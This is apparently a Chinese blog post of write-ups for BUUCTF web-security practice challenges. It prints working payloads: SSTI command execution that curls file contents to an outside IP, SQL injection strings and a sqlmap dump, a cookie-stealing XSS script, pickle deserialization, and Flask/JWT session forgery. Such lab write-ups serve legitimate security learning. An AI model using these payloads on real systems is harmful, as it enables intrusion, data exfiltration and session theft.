BUUCTF-1
补一下之前做的 BUUCTF 的一些练习
[GWCTF 2019]你的名字
SSTI 模板注入,输入以下会报错
1 | {{2*2}} |
我们可以用以下绕过
1 | {% if xxx %} 1 {% endif %} |
经过 fuzz 之后以下关键词被绕过,原理是直接 replace,可以插入黑名单绕过
优先 python2,优先命令执行,见到 waf 就插 ifconfig,试出以下 payload
不知道为什么内网的 requests curl 不了,所以就开了台内网的机子
1 | {% iconfigf ().__claconfigss__.__basconfiges__[0].__subclconfigasses__()[59].__init__.func_globaconfigls.linecache.oconfigs.popconfigen("curl http://174.0.234.231:9000/`ls /|base64`").read()%}kk{% endiconfigf %} |
1 | {% iconfigf ().__claconfigss__.__basconfiges__[0].__subclconfigasses__()[59].__init__.func_globaconfigls.linecache.oconfigs.popconfigen("curl http://174.0.234.231:9000/ -d `cat /*|base64`").read()%}kk{% endiconfigf %} |
[HITCON 2019]Buggy_Net
此题考察了 ASP.NET 4.0 的漏洞
在 ASP.NET 4.0 中,对于 POST 请求,from 参数中含有危险内容(如 HTML 标签<xxx
)会被拦截,但是对于相同变量的 query 参数只会在首次访问Request.QueryString
抛出异常
同样的,对于 GET 请求,query 参数中含有危险内容(如 HTML 标签<xxx
)会被拦截,但是对于相同变量的 form 参数只会在首次访问Request.Form
抛出异常
所以这里我们利用 GET 请求,提交一个含有 HTML 标签的数据就可以绕过第一个目录遍历的异常处理,第二步就可以读取任意文件了
payload
1 | GET / HTTP/1.1 |
[PASECA2019]honey_shop
在 Linux 中 /proc/self/ 指向当前目录,然后 SECRET_KEY 被收藏在 environ,所以访问 /proc/self/environ 就能得到访问到 SECRET_KEY
1 | SECRET_KEY=ACjzCrqQuX1nn6tmtmF80jQchsFJiUtq0sLdFDcH |
之后就可以伪造 cookie 了
1 | # python .\flask_session_cookie_manager3.py encode -s "ACjzCrqQuX1nn6tmtmF80jQchsFJiUtq0sLdFDcH" -t "{'balance':1999,'purchases':['Linden honey']}" |
[BSidesCF 2020]Had a bad day
文件包含,参数必须包含 woofers 或者 meowers
可用过滤器绕过
1 | php://filter/convert.base64-encode/write=woofers/resource=flag |
[Zer0pts2020]Can you guess it?
无法进行时序攻击,所以只能绕过正则读 flag,但是不能以 config.php 结尾,但是basename
可以用特殊字符扰乱规则绕过,但是试了好几个都不行,那就遍历一下
payload
1 | import requests |
[BSidesCF 2020]Cards
逻辑题目
访问/api
可以得到一个 SecretState 这个是当前余额的一个哈希码
访问/api/deal
可以进行赌博,但是只要我们的 state 不会变,我们的余额就不会变,当我们的应答包含 BlackJack 的时候,我们的余额会增加,然后我们就可以获取它的 SerectState 进行下一次赌博,这样就可以一直赢了
payload
1 | import requests |
[watevrCTF-2019]Pickle Store
flask-session-cookies 解密是 pickle 形式,应该考察的是 pickle 反序列化
直接贴 payload
一开始一直不成功,后来发现是系统问题,一定要在 Linux 环境下运行!
1 | import _pickle as cPickle |
[RootersCTF2019]babyWeb
随缘试一下报错注入
1 | http://7a65e348-5074-45ed-b289-b4808c188a68.node3.buuoj.cn/?search=1 and (extractvalue(1,concat(0x7e,(select uniqueid from users limit 1),0x7e))); |
直接提交即可
http://7a65e348-5074-45ed-b289-b4808c188a68.node3.buuoj.cn/?search=837461526918364526
[RootersCTF2019]I_<3_Flask
SSTI 直接打过去(python3)
1 | http://e430c2d8-e92e-467c-871b-c432eff885ea.node3.buuoj.cn/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %} |
[RootersCTF2019]ImgXweb
上传文件没什么用,因为这是个 flask,把 session 抓下来看看是什么
1 | # python .\flask_session_cookie_manager3.py decode -c eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia2trayJ9.ppXwYZguivTJVIyddZBLSxS9C3ptkUon1PIGjmxPEKw |
提示是 jwt,那拿去解码一下
封装的是用户名,回去用 admin 注册一下发现已存在用户,所以应该是伪造 admin,但是没有密钥…
robots.txt 有惊喜,得到了 key
you-will-never-guess
伪造得到eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.g_lGU4qTO2VhNrZK9k460xz828GcqKBayZPcmLmhUqE
替换进入页面发现 flag,加个 view-source 就看到了
October 2019 Twice SQL Injection
题目提示过于明显,直接凭感觉对着用户名注册登陆一把嗦
不必写脚本了,bp 按两下就好了
查表
1 | ' union select group_concat(table_name) from information_schema.tables where table_schema=database()# |
查列
1 | ' union select group_concat(column_name) from information_schema.columns where table_schema=database()# |
但是数据库里面没有 flag,应该是另外一种操作,看看其他表,没东西,但是提示确实是在数据库,应该是个幌子
试了一下写不了 shell,根目录也没默认 flag,这里卡了一个晚上…
第二天登上去,诡异的事情发生了… flag 连上表名和列名都变了???
最后,emmm
1 | ' union select flag from flag# |
这里有一说一,我真不知道为什么
[GWCTF 2019]mypassword
有反馈页面,那就是 XSS,查看源码,只要以 admin 登陆就能看到 flag
看看 CSP,只支持同源,支持内联标签
1 | Content-Security-Policy: default-src 'self';script-src 'unsafe-inline' 'self' |
看看黑名单,过滤了很多关键字和编码,查看过滤逻辑,只要在关键字中间插入黑名单靠后的关键字就可以绕过,所以我们可以通过插入 cookie 绕过
看到了 login.js 的代码
1 | if (document.cookie && document.cookie != '') { |
如果用户正在登陆,就会把用户名和密码填充到表单里面
所以我们可以构造一个登陆页面,提交给 bot 让他自己填就好了
payload
1 | <incookieput type="text" name="username"> |
[CISCN2019 华东北赛区]Web2
投稿 + 反馈,显然是个 XSS
简单 fuzz 一下,过滤了很多标签和符号,但是 &# 没有被过滤,所以我们可以用 unicode 编码绕过,在下面找了一个可以用的 payload
https://wooyun.js.org/drops/Bypass xss过滤的测试方法.html
<svg><script>alert(/1/)</script>
但是又因为过滤了 = ,所以就用 eval 反弹,记得域名要用 web 代替
1 | payload = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=EP3Yq3&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();" |
然后绕过 md5 就可以了,给出我自己用的两个脚本
1 | # gen_md5.py |
1 | # find_md5.py |
替换 session 扫描后台发现 admin.php,点进去就是一个 sqli
测了一下没什么过滤,就直接 sqlmap 一把梭吧
1 | python .\sqlmap.py -cookie="PHPSESSID=312a8283a4e7aaa5894ef9018c52e05e" -u http://5f6fb99e-e122-4707-b88d-f896487c7f64.node3.buuoj.cn/admin.php?id=1 -D ciscn -T flag --dump |
[网鼎杯2018]Unfinish
一进去是个登陆界面,随便改个 register.php 得到注册页面,登陆进去只有用户名显示,显然是个二次注入,注册用户名为1'or'1
,用户名显示为1
但是试了一下 union select
无法注册,想了想逻辑应该是直接把邮箱、用户名和密码拼进去,然后根据邮箱查询把用户名带出来
所以这里我们可以直接拼字符串,学到了一个新姿势,就是二次 hex
1 | '+select(hex(hex(payload)))+' |
二次 hex 的原因是 一次 hex 后结果带有字母,变成字符串后不会带出来
二次 hex 最多只能取三个字母,不然会变成科学计数法
但是过滤了 information_schema ,只能盲猜一个 flag 了
还过滤了逗号,所有用 substr xxx from x for x
payload
1 | import requests |
[PwnThyBytes 2019]Baby_SQL
右键源码
首先全部都加了 addslashes 过滤,网站用的是 utf-8 编码,不能宽字节绕过
1 | function filter($value) |
注册用户名做了如下过滤,非常严格
1 | (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!"); |
登陆用户名几乎没做过滤,那先面就是绕过isset($_SESSION)了
,这里利用到了之前 session 反序列化的知识了
session.upload_progress.enabled 为 On
1 | 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。 |
所以发送一个请求包就可以绕过进行 sqli 了
1 | POST /templates/login.php HTTP/1.1 |
下面的就是盲注了,直接上脚本,注意要使用 files 参数,不然无法文件形式传数据
1 | # coding:utf-8 |
[BSidesCF 2020]Hurdles
改了一堆 http 头
1 | PUT /hurdles/!?get=flag&%26%3d%26%3d%26=%25%30%30%0a |